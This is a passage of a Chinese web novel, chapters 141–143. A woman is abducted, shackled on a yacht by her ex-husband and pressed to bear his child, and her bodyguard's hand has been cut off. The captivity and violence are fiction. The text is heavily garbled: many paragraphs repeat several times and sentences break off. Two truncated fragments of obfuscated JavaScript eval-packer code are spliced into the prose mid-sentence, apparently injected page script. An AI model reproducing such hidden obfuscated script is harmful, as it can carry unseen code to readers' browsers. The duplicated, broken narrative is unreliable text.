“傅总,您在里面吗?” 好事被打断,傅东擎满脸阴沉,扬声问道:“有事?” 小何的声音,宋凝还是认得出来的。 他也知道现在不该打扰,但是有件事确实不得不汇报:“那个人醒了,要怎么处理?” 傅东擎听了这话,微微正色起来:“等我一下。” “是。” 他缓了一会儿,等痛意过去,才渐渐恢复了神志。 宋凝急急问道:“是大拿吗?就是昨晚跟着我的那个人,你们把他也弄到船上来了?他现在怎么样?你们都对他做了什么?!” 游艇并不算太大,风吹进来,把宋凝的衬衫吹得往两边散开。 她冷的声音都在微微颤抖。 傅东擎叹息了一声,拧着眉头帮她把扣子重新系好:“你那么担心他做什么?” “他是我的朋友!” “是你的朋友,还是丁予期的朋友!?”傅东擎冷笑了一声:“你还真是向着他,连他的朋友都这么关心。” 说完这句话,他的脸色微微一变。 丁予期也曾经是他的朋友。 而最后,他成功把宋凝从傅太太变成了丁太太。 傅东擎想到这个,就不由得冷笑了一声:“阿凝,你对那个狙击手……也很青睐吗?” 第一百四十一章 宋凝需要的是疆场 宋凝突然觉得,眼前的傅东擎好像跟她认识的不是一个人了。 此时的他噙着一抹诡异地笑意,眼神里却一点笑都没带,反而带着一丝阴森的冷意。 这样的傅东擎,让宋凝也有些害怕。 现在激怒他绝对不是上策。 她知道,傅东擎大概率只是想把她困在这里,不会伤害她。 但大拿就不一定了。 她摇了摇头:“没有,只是觉得他射击很厉害,比较欣赏他而已。” 傅东擎就坐在床边,一动不动地盯着她。 宋凝被看的有点发毛,再这么下去也不是办法。 她深吸了一口气,说道:“现在是在公海上,我跑不掉的,你把**给我解开吧,我的手腕真的很痛。” 这句话她说的的确是真的。 硬邦邦的金属已经在她的手腕上留下一道红痕,沟壑并不算浅。 而且她本身皮肤白,这样的红痕就显得更加触目惊心。 傅东擎定定思索了一会儿,还是摇了摇头:“不行。” “我总不能跳进大海里吧?这里远离陆地,我想游回去也不行啊!” “阿凝,谁让你之前逃了太多次,每一次我觉得万无一失,结果都是你像泥鳅一样溜走。这一次,一闪闪失都不能有。” 说着,他俯下身,轻轻摩挲着她的手腕:“一会儿我去拿点东西来给你垫着,就不会给痛了。” 他轻轻把她的手腕攥在掌心里,碰到红痕的时候,宋凝痛的倒吸一口凉气。 傅东擎说:“阿凝,你乖一点,早点怀上我的孩子,等孩子出生,我就带你回去。” 宋凝此时也有些懊恼。 只怪自己当时为什么那么不小心,只带着大拿一个人就下了楼。 她就应该叫上丁予期,老姚和萝卜也一起跟来。 四个人在场,傅东擎就算是准备地再充分,也不至于能在瞬息之间把她打晕带走。 但凡时间稍微长一点,酒店的安保就会发现。 到底还是太大意了。 “傅东擎,我们谈谈好吗?” 傅东擎轻笑:“之前我想找你谈谈,你怎么都不肯,现在却主动要找我谈?” 说这句话的时候,他的眼神里有一丝狠厉闪过。 宋凝察觉到了,所以斟酌了措辞,“唐婷的照片,当时为什么没有完全销毁?既然没有销毁,为什么还要骗我销毁了?” 她虽然跟傅东擎分手了,但也只是因为两个人之间出 了问题。 傅东擎的人品和性格应该不至于真的去害无辜的唐婷。 所以当他郑重承诺照片已经全部删除的时候,宋凝并没有怀疑。 只是没想到,现在那些照片又会出现。 傅东擎冷声说:“如果你不离开我,我永远也不会让这些照片再次出现。” “你明明知道唐婷的遭遇……” “阿凝,”傅东擎有些痛苦地问道:“你什么时候才能把我排在第一位?我才是你的丈夫,是你要共度一生的人。你为什么就不能替我想想呢?我们以前的生活不好吗?你乖乖待在家里等我回来,给我生儿育女操持家里,好好当我的傅太太不好吗?柔顺一些,贤惠一些不好吗?为什么别的太太能做到的,你就非要逃离?!” 宋凝深吸了一口气:“你的意思是,让我对你和林澜的事情视而不见,继续待在家里当一个没有用的花瓶,这样吗?” “……如果你不捅破的话,等我满足了心里的不平,就会跟林澜分手,回到你身边的。” 宋凝有种深深的无力感。 她跟傅东擎好像明明在说一件事,但又好像在鸡同鸭讲。 他需要的是一个温柔乡,而宋凝需要的是疆场。 有时候宋凝甚至觉得,如果傅东擎一开始遇到的是林澜,会不会好一点? 林澜才是他想象中的傅太太。 原生家庭破碎,她也没有任何一技之长,想要自己过上好日子,让全家都过上好日子,就只能依靠他。 所以林澜如果跟了傅东擎,一定会全部都顺从他,把自己折叠成傅东擎希望的形状。 或许这样,他们反而能长长久久。 宋凝闭上眼,说:“我累了,想休息了。” 傅东擎似乎有些窝火,语气有些生硬:“那你好好睡,我过几天再来看你。” 宋凝猛地睁开眼睛:“……你要回去?” 其实也对,傅东擎毕竟还有公司的事情要处理,他不可能跟她一起待在茫茫大海里几个月。 而且丁予期那边发现她不见了,肯定也会发动资源找她。 警方,他外公,苏菲,至少三路人。 傅东擎要处理的事情不止这些,或许还有他父母和林澜。 他站起身来,在宋凝的额头上落下轻柔的一吻:“乖乖等我回来。” “傅东擎,”宋凝叫住了他:“要不然这样,你把我的脚铐住,把手放开,行吗?我真的痛,我的手臂一直这样举着,血流不畅,都快没有知觉了。” 傅东擎思索了一会儿,他也知道,长期保持一个姿势,的确是会血流不畅的。 如果时间太长,还会造成部分组织坏死。 宋凝已经保持这个姿势一天一夜了。 傅东擎很谨慎,解开了一个**之后,没有忙着去解第二个,而是先把她的脚腕在床尾的柱子上铐好,反复确认没有问题之后,才去解第二个。 等确认了好几遍她的两只脚无法离开床尾柱之后,傅东擎才缓缓起了身:“我大概要回去两三天,吃的喝的会有人给你送过来。” 等他走后,宋凝还在床上躺了好一会儿,两条胳膊才算能勉强挪动一点。 双臂缺血太久,细细密密像是针扎一样的疼。 过了大概十多分钟,她才缓缓从床上坐了起来,一边活动着还有些酸痛的手臂,一边打量着这个船舱里的环境—— 这应该是一个私人游艇,并不算特别大,一共只有三四个船舱。 她所在这个,应该是左边靠近船尾的一间。 这也就是说,负责看管她的人应该不至于特别多,至多十几个。 但是从此时船舱里的安静情况来看,应该比她预估的还要少一些。 大概不到十个人。 而且船舱本身就小,十个人在海上生活三天所需要的物资就不少了,必须还得专门腾一个船舱出来放淡水和食物等等的生活物资。 并且在这个基础上,还得保持船体的平衡,不能出现一侧过重而发生倾覆的情况。 她一个人占据一个船舱,肯定是比那些物资轻许多的。 这样推算的话,左边第一个船舱,也就是她前面那个,应该是大部分看守住的地方,用他们体重来平衡两边的重量。 那大拿会被他们安置在哪里呢? 恰在此时,宋凝听到了前面的船舱里似乎正在产生一些异常的响动…… 傅东擎思索了一会儿,他也知道,长期保持一个姿势,的确是会血流不畅的。 如果时间太长,还会造成部分组织坏死。 宋凝已经保持这个姿势一天一夜了。 傅东擎很谨慎,解开了一个**之后,没有忙着去解第二个,而是先把她的脚腕在床尾的柱子上铐好,反复确认没有问题之后,才去解第二个。 等确认了好几遍她的两只脚无法离开床尾柱之后,傅东擎才缓缓起了身:“我大概要回去两三天,吃的喝的会有人给你送过来。” 等他走后,宋凝还在床上躺了好一会儿,两条胳膊才算能勉强挪动一点。 双臂缺血太久,细细密密像是针扎一样的疼。 过了大概十多分钟,她才缓缓从床上坐了起来,一边活动着还有些酸痛的手臂,一边打量着这个船舱里的环境—— 这应该是一个私人游艇,并不算特别大,一共只有三四个船舱。 她所在这个,应该是左边靠近船尾的一间。 这也就是说,负责看管她的人应该不至于特别多,至多十几个。 但是从此时船舱里的安静情况来看,应该比她预估的还要少一些。 大概不到十个人。 而且船舱本身就小,十个人在海上生活三天所需要的物资就不少了,必须还得专门腾一个船舱出来放淡水和食物等等的生活物资。 并且在这个基础上,还得保持船体的平衡,不能出现一侧过重而发生倾覆的情况。 她一个人占据一个船舱,肯定是比那些物资轻许多的。 这样推算的话,左边第一个船舱,也就是她前面那个,应该是大部分看守住的地方,用他们体重来平衡两边的重量。 那大拿会被他们安置在哪里呢? 恰在此时,宋凝听到了前面的船舱里似乎正在产生一些异常的响动…… 傅东擎思索了一会儿,他也知道,长期保持一个姿势,的确是会血流不畅的。 如果时间太长,还会造成部分组织坏死。 宋凝已经保持这个姿势一天一夜了。 傅东擎很谨慎,解开了一个**之后,没有忙着去解第二个,而是先把她的脚腕在床尾的柱子上铐好,反复确认没有问题之后,才去解第二个。 等确认了好几遍她的两只脚无法离开床尾柱之后,傅东擎才缓缓起了身:“我大概要回去两三天,吃的喝的会有人给你送过来。” 等他走后,宋凝还在床上躺了好一会儿,两条胳膊才算能勉强挪动一点。 双臂缺血太久,细细密密像是针扎一样的疼。 过了大概十多分钟,她才缓缓从床上坐了起来,一边活动着还有些酸痛的手臂,一边打量着这个船舱里的环境—— 这应该是一个私人游艇,并不算特别大,一共只有三四个船舱。 她所在这个,应该是左边靠近船尾的一间。 这也就是说,负责看管她的人应该不至于特别多,至多十几个。 但是从此时船舱里的安静情况来看,应该比她预估的还要少一些。 大概不到十个人。 而且船舱本身就小,十个人在海上生活三天所需要的物资就不少了,必须还得专门腾一个船舱出来放淡水和食物等等的生活物资。 并且在这个基础上,还得保持船体的平衡,不能出现一侧过重而发生倾覆的情况。 她一个人占据一个船舱,肯定是比那些物资轻许多的。 这样推算的话,左边第一个船舱,也就是她前面那个,应该是大部分看守住的地方,用他们体重来平衡两边的重量。 那大拿会被他们安置在哪里呢? 恰在此时,宋凝听到了前面的船舱里似乎正在产生一些异常的响动…… 傅东擎思索了一会儿,他也知道,长期保持一个姿势,的确是会血流不畅的。 如果时间太长,还会造成部分组织坏死。 宋凝已经保持这个姿势一天一夜了。 傅东擎很谨慎,解开了一个**之后,没有忙着去解第二个,而是先把她的脚腕在床尾的柱子上铐好,反复确认没有问题之后,才去解第二个。 等确认了好几遍她的两只脚无法离开床尾柱之后,傅东擎才缓缓起了身:“我大概要回去两三天,吃的喝的会有人给你送过来。” 等他走后,宋凝还在床上躺了好一会儿,两条胳膊才算能勉强挪动一点。 双臂缺血太久,细细密密像是针扎一样的疼。 过了大概十多分钟,她才缓缓从床上坐了起来,一边活动着还有些酸痛的手臂,一边打量着这个船舱里的环境—— 这应该是一个私人游艇,并不算特别大,一共只有三四个船舱。 她所在这个,应该是左边靠近船尾的一间。 这也就是说,负责看管她的人应该不至于特别多,至多十几个。 但是从此时船舱里的安静情况来看,应该比她预估的还要少一些。 大概不到十个人。 而且船舱本身就小,十个人在海上生活三天所需要的物资就不少了,必须还得专门腾一个船舱出来放淡水和食物等等的生活物资。 并且在这个基础上,还得保持船体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而且船舱本身就小,十个人在海上生活三天所需要的物资就不少了,必须还得专门腾一个船舱出来放淡水和食物等等的生活物资。 并且在这个基础上,还得保持船体的平衡,不能出现一侧过重而发生倾覆的情况。 她一个人占据一个船舱,肯定是比那些物资轻许多的。 这样推算的话,左边第一个船舱,也就是她前面那个,应该是大部分看守住的地方,用他们体重来平衡两边的重量。 那大拿会被他们安置在哪里呢? 恰在此时,宋凝听到了前面的船舱里似乎正在产生一些异常的响动…… 傅东擎思索了一会儿,他也知道,长期保持一个姿势,的确是会血流不畅的。 如果时间太长,还会造成部分组织坏死。 宋凝已经保持这个姿势一天一夜了。 傅东擎很谨慎,解开了一个**之后,没有忙着去解第二个,而是先把她的脚腕在床尾的柱子上铐好,反复确认没有问题之后,才去解第二个。 等确认了好几遍她的两只脚无法离开床尾柱之后,傅东擎才缓缓起了身:“我大概要回去两三天,吃的喝的会有人给你送过来。” 等他走后,宋凝还在床上躺了好一会儿,两条胳膊才算能勉强挪动一点。 双臂缺血太久,细细密密像是针扎一样的疼。 过了大概十多分钟,她才缓缓从床上坐了起来,一边活动着还有些酸痛的手臂,一边打量着这个船舱里的环境—— 这应该是一个私人游艇,并不算特别大,一共只有三四个船舱。 她所在这个,应该是左边靠近船尾的一间。 这也就是说,负责看管她的人应该不至于特别多,至多十几个。 但是从此时船舱里的安静情况来看,应该比她预估的还要少一些。 大概不到十个人。 而且船舱本身就小,十个人在海上生活三天所需要的物资就不少了,必须还得专门腾一个船舱出来放淡水和食物等等的生活物资。 并且在这个基础上,还得保持船体的平衡,不能出现一侧过重而发生倾覆的情况。 她一个人占据一个船舱,肯定是比那些物资轻许多的。 这样推算的话,左边第一个船舱,也就是她前面那个,应该是大部分看守住的地方,用他们体重来平衡两边的重量。 那大拿会被他们安置在哪里呢? 恰在此时,宋凝听到了前面的船舱里似乎正在产生一些异常的响动…… 傅东擎思索了一会儿,他也知道,长期保持一个姿势,的确是会血流不畅的。 如果时间太长,还会造成部分组织坏死。 宋凝已经保持这个姿势一天一夜了。 傅东擎很谨慎,解开了一个**之后,没有忙着去解第二个,而是先把她的脚腕在床尾的柱子上铐好,反复确认没有问题之后,才去解第二个。 等确认了好几遍她的两只脚无法离开床尾柱之后,傅东擎才缓缓起了身:“我大概要回去两三天,吃的喝的会有人给你送过来。” 等他走后,宋凝还在床上躺了好一会儿,两条胳膊才算能勉强挪动一点。 双臂缺血太久,细细密密像是针扎一样的疼。 过了大概十多分钟,她才缓缓从床上坐了起来,一边活动着还有些酸痛的手臂,一边打量着这个船舱里的环境—— 这应该是一个私人游艇,并不算特别大,一共只有三四个船舱。 她所在这个,应该是左边靠近船尾的一间。 这也就是说,负责看管她的人应该不至于特别多,至多十几个。 但是从此时船舱里的安静情况来看,应该比她预估的还要少一些。 大概不到十个人。 而且船舱本身就小,十个人在海上生活三天所需要的物资就不少了,必须还得专门腾一个船舱出来放淡水和食物等等的生活物资。 并且在这个基础上,还得保持船体的平衡,不能出现一侧过重而发生倾覆的情况。 她一个人占据一个船舱,肯定是比那些物资轻许多的。 这样推算的话,左边第一个船舱,也就是她前面那个,应该是大部分看守住的地方,用他们体重来平衡两边的重量。 那大拿会被他们安置在哪里呢? 恰在此时,宋凝听到了前面的船舱里似乎正在产生一些异常的响动…… 第一百四十二章 你跑不掉的 船舱的墙壁上,传来有节奏的敲击声。 很轻。 如果不是傅东擎已经走了,两个人如果还在说话的话,应该都无法听清这样的响动。 宋凝屏息又听了一会儿,因为她不太确定到底是机器发出的声音,还是人为。 过了一会儿,敲击声停止了。 停顿了大概几分钟,又开始了。 宋凝现在双脚被铐着,整个上半身倒是可以自由活动了。 她努力往发出声音的墙壁接近了一些,然后小心翼翼地也敲了两下。 忽然间,敲击声又停止了。 宋凝又试探性地敲了一会儿,但对方始终再也没有传来回音。 中午的时候,船舱的门再次被推开了。 进来了两个陌生的黑衣男人。 宋凝认得他们的打扮,跟小何之前带去看管她的那些保镖一模一样。 宋凝靠坐在床边,冷声问道:“傅东擎让你们来看看我跑没跑?” 其中一个黑衣人低头检查了一下她脚踝上的**,确认结结实实之后,跟另一个汇报:“完好。” 为首的那个黑衣人点了点头,然后对宋凝说:“太太,我劝你还是乖乖待在这里,这里四面都是大海,你跑不掉的。” 宋凝没说话。 同样的话傅东擎已经跟她说过一次了。 她自己也通过船舱的窗户看到了外面的情况,墨蓝色的深海区,傅东擎没有骗她。 “太太,傅总交代过,你有什么需要都可以告诉我们,我们会尽力帮你安排,但是请你乖一些,不要让我们难做。” 宋凝笑了:“我被铐着,外面还是大海,我想跑也跑不了啊,还要我怎么乖?” 黑衣人略微沉吟了一下,目光随即看向了船舱角落里散落的一把生锈了的剪刀,立刻吩咐道:“立刻清理掉!” “是!” 生锈的剪刀立刻被扔进了大海,顷刻间便无影无踪。 宋凝看到这里才算终于明白了。 他们所说的“乖”,不止是不逃跑,还有不**。 “太太,公海上的物资运送不如陆地上方便,所以这些天只能委屈你在食物上稍微降低一些标准了。我们给您准备了牛肉饭和罐头,您垫垫肚子。” 黑衣人把食物放在了她面前的床上。 牛肉饭看起来也是自热的那种,罐头更不用说,估计放个十天半个月的都不会坏。 宋凝看了一眼,然后问道:“就这些?” “是的太太,因为出来的匆忙,所以没有做好万全的准备,等过几天补给船来了,伙食就能改善一下了。或者太太你想吃什么,我可以联络补给船,下次给您送过来。” 宋凝沉吟了一下,问道:“你们也是吃自热米饭和罐头吗?” 黑衣人摇了摇头:“这些东西带的不多,如果我们都吃这些,您的食物就不够了。” “那你们吃什么?” “我们……” 为首的那个黑衣人不知道是不是被傅东擎警告过,顿时警惕了起来,公事公办地回复道:“太太不用为我们担心,我们自然也是饿不着的。” 宋凝点了点头,捧着饭慢悠悠地吃着:“我还需要一些水。” “好的,我去给您拿来。” “我最近不能喝冷的,我要热水。” 黑衣人愣了一下,有些错愕:“您……” “生理期。”宋凝说:“我还需要一些卫生用品,你应该懂我的意思吧?” 黑衣人明显有些尴尬,但还是硬着头皮回复道:“我懂,我明白。只是现在船上没有啊,我们现在联络补给船的话,最快也要两天后才能送到。” 宋凝倒也没有为难他们,“那你告诉他们,除了卫生用品之外,我还需要一些更换的衣服,还有清洁用品。” 黑衣人见她并没有提出其他过分的要求,便点了头:“好的,那太太您先吃饭,我们先出去了,有事您再叫我们。” 两个黑衣人退出去了。 宋凝看着手上的牛肉饭有些发怔,心里却在默默计算着。 补给船最快两天才能到,两天时间,她一个人只需要消耗六份牛肉饭和罐头。 而黑衣人却说,如果他们也吃,就会不够…… 宋凝有个大胆的猜测,这个船上负责看管她的,应该没有十几个那么多,至多五六个。 而在茫茫公海上,至少需要一个会开船的,应对海上随时可能发生的突发情况。 也就是说,能一直负责看管她的,应该也就三四个人。 她又想起了前面船舱里发出的有规律的敲击声。 于是她只吃了一份牛肉饭,罐头她没有动,藏在了床尾的被子里。 晚上的时候,黑衣人又来了一次,她依旧如法炮制,到了晚上的时候,一共省下了两个罐头。 临睡前,黑衣人又来了一趟,再次检查了一下**。 确认无误后,关了灯,退了出去。 船舱里没有灯,更没有表,她不知道现 在到底是几点,只能凭借体感估算。 但游艇小也有个好处,就是夜深人静的时候,她能清楚的听到此起彼伏的鼾声。 根据声音的位置和强度,她大概能摸清楚如今这艘船上的具体情况了。 右边的两个船舱里,都住了人。 但是前舱明显人多,应该有三个,后舱离她最近,鼾声最明显,只有一个人。 左边的后舱是她。 那前面那个船舱,应该就是物资了? 既然全都是物资,那敲击声是哪里来的? 她确认鼾声很大很响亮,几个人都睡得很死之后,又按照白天的那种熟悉的节奏,敲了敲船舱中间的隔断板。 很快,那边也传来了一模一样的敲击节奏。 宋凝小声试探地叫了一声:“……大拿?” “是我。” 宋凝顿时激动起来:“你还好吗?你没事吧?” “我没事,”大拿问:“嫂子你呢,还好吗?” “我也没事,傅东擎没有伤害我。倒是你……” “嫂子,等我一下。” 宋凝屏息,心都悬了起来,生怕大拿动作太大,或者是发出的声音太大,惊醒了旁边负责看守的人。 她一直小心翼翼地盯着船舱门,可是几分钟后,船舱门纹丝不动,窗外却出现了一个熟悉的人影。 在到底是几点,只能凭借体感估算。 但游艇小也有个好处,就是夜深人静的时候,她能清楚的听到此起彼伏的鼾声。 根据声音的位置和强度,她大概能摸清楚如今这艘船上的具体情况了。 右边的两个船舱里,都住了人。 但是前舱明显人多,应该有三个,后舱离她最近,鼾声最明显,只有一个人。 左边的后舱是她。 那前面那个船舱,应该就是物资了? 既然全都是物资,那敲击声是哪里来的? 她确认鼾声很大很响亮,几个人都睡得很死之后,又按照白天的那种熟悉的节奏,敲了敲船舱中间的隔断板。 很快,那边也传来了一模一样的敲击节奏。 宋凝小声试探地叫了一声:“……大拿?” “是我。” 宋凝顿时激动起来:“你还好吗?你没事吧?” “我没事,”大拿问:“嫂子你呢,还好吗?” “我也没事,傅东擎没有伤害我。倒是你……” “嫂子,等我一下。” 宋凝屏息,心都悬了起来,生怕大拿动作太大,或者是发出的声音太大,惊醒了旁边负责看守的人。 她一直小心翼翼地盯着船舱门,可是几分钟后,船舱门纹丝不动,窗外却出现了一个熟悉的人影。 在到底是几点,只能凭借体感估算。 但游艇小也有个好处,就是夜深人静的时候,她能清楚的听到此起彼伏的鼾声。 根据声音的位置和强度,她大概能摸清楚如今这艘船上的具体情况了。 右边的两个船舱里,都住了人。 但是前舱明显人多,应该有三个,后舱离她最近,鼾声最明显,只有一个人。 左边的后舱是她。 那前面那个船舱,应该就是物资了? 既然全都是物资,那敲击声是哪里来的? 她确认鼾声很大很响亮,几个人都睡得很死之后,又按照白天的那种熟悉的节奏,敲了敲船舱中间的隔断板。 很快,那边也传来了一模一样的敲击节奏。 宋凝小声试探地叫了一声:“……大拿?” “是我。” 宋凝顿时激动起来:“你还好吗?你没事吧?” “我没事,”大拿问:“嫂子你呢,还好吗?” “我也没事,傅东擎没有伤害我。倒是你……” “嫂子,等我一下。” 宋凝屏息,心都悬了起来,生怕大拿动作太大,或者是发出的声音太大,惊醒了旁边负责看守的人。 她一直小心翼翼地盯着船舱门,可是几分钟后,船舱门纹丝不动,窗外却出现了一个熟悉的人影。 在到底是几点,只能凭借体感估算。 但游艇小也有个好处,就是夜深人静的时候,她能清楚的听到此起彼伏的鼾声。 根据声音的位置和强度,她大概能摸清楚如今这艘船上的具体情况了。 右边的两个船舱里,都住了人。 但是前舱明显人多,应该有三个,后舱离她最近,鼾声最明显,只有一个人。 左边的后舱是她。 那前面那个船舱,应该就是物资了? 既然全都是物资,那敲击声是哪里来的? 她确认鼾声很大很响亮,几个人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她一直小心翼翼地盯着船舱门,可是几分钟后,船舱门纹丝不动,窗外却出现了一个熟悉的人影。 在到底是几点,只能凭借体感估算。 但游艇小也有个好处,就是夜深人静的时候,她能清楚的听到此起彼伏的鼾声。 根据声音的位置和强度,她大概能摸清楚如今这艘船上的具体情况了。 右边的两个船舱里,都住了人。 但是前舱明显人多,应该有三个,后舱离她最近,鼾声最明显,只有一个人。 左边的后舱是她。 那前面那个船舱,应该就是物资了? 既然全都是物资,那敲击声是哪里来的? 她确认鼾声很大很响亮,几个人都睡得很死之后,又按照白天的那种熟悉的节奏,敲了敲船舱中间的隔断板。 很快,那边也传来了一模一样的敲击节奏。 宋凝小声试探地叫了一声:“……大拿?” “是我。” 宋凝顿时激动起来:“你还好吗?你没事吧?” “我没事,”大拿问:“嫂子你呢,还好吗?” “我也没事,傅东擎没有伤害我。倒是你……” “嫂子,等我一下。” 宋凝屏息,心都悬了起来,生怕大拿动作太大,或者是发出的声音太大,惊醒了旁边负责看守的人。 她一直小心翼翼地盯着船舱门,可是几分钟后,船舱门纹丝不动,窗外却出现了一个熟悉的人影。 在到底是几点,只能凭借体感估算。 但游艇小也有个好处,就是夜深人静的时候,她能清楚的听到此起彼伏的鼾声。 根据声音的位置和强度,她大概能摸清楚如今这艘船上的具体情况了。 右边的两个船舱里,都住了人。 但是前舱明显人多,应该有三个,后舱离她最近,鼾声最明显,只有一个人。 左边的后舱是她。 那前面那个船舱,应该就是物资了? 既然全都是物资,那敲击声是哪里来的? 她确认鼾声很大很响亮,几个人都睡得很死之后,又按照白天的那种熟悉的节奏,敲了敲船舱中间的隔断板。 很快,那边也传来了一模一样的敲击节奏。 宋凝小声试探地叫了一声:“……大拿?” “是我。” 宋凝顿时激动起来:“你还好吗?你没事吧?” “我没事,”大拿问:“嫂子你呢,还好吗?” “我也没事,傅东擎没有伤害我。倒是你……” “嫂子,等我一下。” 宋凝屏息,心都悬了起来,生怕大拿动作太大,或者是发出的声音太大,惊醒了旁边负责看守的人。 她一直小心翼翼地盯着船舱门,可是几分钟后,船舱门纹丝不动,窗外却出现了一个熟悉的人影。 第一百四十三章 想个办法,拖住他们 “太太,你在跟谁说话?” 宋凝几乎心脏都快停止了。 她以为大拿会想办法过来找她,她以为那些黑衣保镖都已经去了右边船舱消息,但是没想到,居然有个人在她窗外守着。 正是刚刚给她送饭的其中一个。 宋凝勉强定了定神,“你一直在外面守着,晒吗?” 大正午的时候,海上阳光直晒,并没有任何可以遮蔽的地方。 黑衣人还穿着救生衣,隔着一层玻璃,宋凝都能看到他脸上淌下来的汗水。 “还好,谢谢太太关心。您有什么需要吗?” 宋凝眼珠一转,突然说道:“……我想上洗手间。” 黑衣人错愕了一下:“现在吗?” “对,就是现在,很急,游艇上的洗手间在哪里?” 黑衣人抿唇想了一下,“太太,您稍等一下,我得请示一下。” 宋凝冷笑:“我去洗手间还得请示?傅东擎连厕所都不让我上?他当我是貔貅吗?只进不出的?” 黑衣人讪讪的。 宋凝被弄上船也有一天多了,她要上洗手间的要求并不过分。 可是整个船上全都是男人,傅总的要求是必须时时刻刻不能让太太离开视线之外,她去洗手间就是单独的空间了。 虽然知道公海上太太一个人逃走的可能性很低,但是他之前也是领教过太太的逃跑功夫的。 傅总亲自守着都能跑的无影无踪。 如果太太这次也能无声无息地消失,那傅总肯定会废了他的。 黑衣人犹豫了一会儿,还是坚持说:“太太,您要是实在着急,就在床上解决吧。我会通知补给船,下次来的时候带新的床单,给您更换。” 宋凝听得直磨牙。 傅东擎这是给这群人下了多死的命令,让他们诚惶诚恐成这样? 咚,咚咚,咚。 前面的船舱又传来了熟悉的敲击节奏。 宋凝知道,应该是大拿发出来的,想要提醒她什么。 可是光是这样的节奏,她实在是猜不透他的意思。 咚咚咚,咚咚。 这次,又换了一种节奏。 宋凝想了想,只好先采取缓兵之计,对外面的黑衣人说:“那你先走开,我解决一下个人问题。” 黑衣人坚持:“可是傅总说过,绝对不能让您离开我的视线。” “你的意思是,我方便的时候你也要看着,是吗?” 黑衣人赶紧摇头:“ 不、我怎么敢……” “那你就转过去。”宋凝说:“我会同时用**敲击床柱,这样你就会知道我还在,没有跑。等我停止敲击,你再回过头来,这样总行了吧?” 黑衣人思索了一下。 傅总的命令是万万不能违抗的。 但是太太解决个人问题他也是万万不敢看的。 事到如今,只有这个办法了。 黑衣人说:“那麻烦太太敲击的声音大一些,海风大,我怕没听清,误会了,唐突了太太。” 其实不用他说,宋凝也会把声音弄的尽量大一些的。 现在这个状况,她还真是很难走。 但首先,得先要跟大拿沟通一下。 他毕竟是出身行伍,说不定跟丁予期他们有什么其他联络方式。 宋凝一边抬起脚,一下一下用脚腕上的**去撞床位的金属床柱。 两种金属碰撞,发出重重的嘶鸣声,声音大的完全能掩盖住船舱内其他所有的声音。 同时,她轻声叫了一声:“大拿?” “嫂子,我们时间不多,我长话短说。” “好的,你说。” “这里确实是在公海上,看守你的人一共有五个,都在右侧的船舱里。生活物资放在我这边,他们每天会来三次。” 看来情况跟她预料的差不多。 但是真正听大拿说出他们的确是在公海上,宋凝的心还是无法抑制地沉了下去。 “你有办法联络到丁予期他们吗?” 大拿的声音有些深沉:“如果是在陆地上,不管是被藏在哪里,我都有办法联络他们。可是现在是在公海,除了卫星电话,确实别无他法。” “你有把握从他们手里把卫星电话抢过来吗?” “他们给我注射了精神类药物,我现在浑身都没什么力气。” 说到这里,宋凝才想起一件事。 “他们为什么会把你一起带上来?按道理说,他们制服你之后,应该会把你扔在原地,只带着我一个人走,为什么连你也被弄到游艇上来了?” 大拿说:“傅东擎找你,我陪你下来,临走的时候丁儿提醒了我一句。傅东擎之前就用唐婷威胁过你,逼你现身,这一次也有可能,唐婷的照片只是个全套,他的目的还是你。所以在你被打晕之后,我立刻就发觉有诈,只是一切发生的太快了,傅东擎明显是有备而来,我想要去救你,但脖子上也被针管刺中,紧接着我也失去了意识。但我毕竟是部队出身,精神力被普通人 强一些,我就死死地拉着你的手腕,直到我晕倒的最后一刻也没有放开。” 宋凝懂了。 就是因为大拿即便是晕倒了也不肯放手,所以傅东擎根本没办法把他扔下,只能连他一起抬上了游艇。 “也就是说,到了游艇上之后,你才松了手,然后被带到了其他船舱?” “……” “大拿?” 前面船舱里突然没有声音了。 宋凝的心顿时紧张起来:“你还好吗?发生什么事了?” 过了好一会儿,才听到大拿略带痛楚地声音:“嫂子,我的手被砍断了。” 宋凝顿时如坠冰窖:“什么……” 他是个狙击手啊! 他的手那么重要! “是傅东擎干的吗?” 大拿冷笑了一下:“船上就这么几个人,就算不是他亲手做的,也是他吩咐手下人做的。我跟这群黑衣保镖无冤无仇,他们不至于下这种死手。” 巨大的愧疚感包裹了她。 是因为她,大拿的手才被砍断了。 “……你现在需要治疗!我这就去叫他们,让他们联系补给船把你送回去。” “嫂子,你别忙了,不可能的。”大拿叹息:“如果我被送回去,那就会暴露你的行踪,傅东擎不会这么做的。” “可是这样下去不行,你会死的!” 海上昼夜温差大,白天烈日骄阳,晚上幽冷阴暗,本来就很容易生病。 而大拿的伤口那么大,如果不及时处理的话…… “嫂子,我们必须尽快回去。” 宋凝定了定神,“你有什么办法吗?需要我做什么?” “我需要十分钟左右的时间,今天晚上,麻烦嫂子想个办法,拖住他们。” 强一些,我就死死地拉着你的手腕,直到我晕倒的最后一刻也没有放开。” 宋凝懂了。 就是因为大拿即便是晕倒了也不肯放手,所以傅东擎根本没办法把他扔下,只能连他一起抬上了游艇。 “也就是说,到了游艇上之后,你才松了手,然后被带到了其他船舱?” “……” “大拿?” 前面船舱里突然没有声音了。 宋凝的心顿时紧张起来:“你还好吗?发生什么事了?” 过了好一会儿,才听到大拿略带痛楚地声音:“嫂子,我的手被砍断了。” 宋凝顿时如坠冰窖:“什么……” 他是个狙击手啊! 他的手那么重要! “是傅东擎干的吗?” 大拿冷笑了一下:“船上就这么几个人,就算不是他亲手做的,也是他吩咐手下人做的。我跟这群黑衣保镖无冤无仇,他们不至于下这种死手。” 巨大的愧疚感包裹了她。 是因为她,大拿的手才被砍断了。 “……你现在需要治疗!我这就去叫他们,让他们联系补给船把你送回去。” “嫂子,你别忙了,不可能的。”大拿叹息:“如果我被送回去,那就会暴露你的行踪,傅东擎不会这么做的。” “可是这样下去不行,你会死的!” 海上昼夜温差大,白天烈日骄阳,晚上幽冷阴暗,本来就很容易生病。 而大拿的伤口那么大,如果不及时处理的话…… “嫂子,我们必须尽快回去。” 宋凝定了定神,“你有什么办法吗?需要我做什么?” 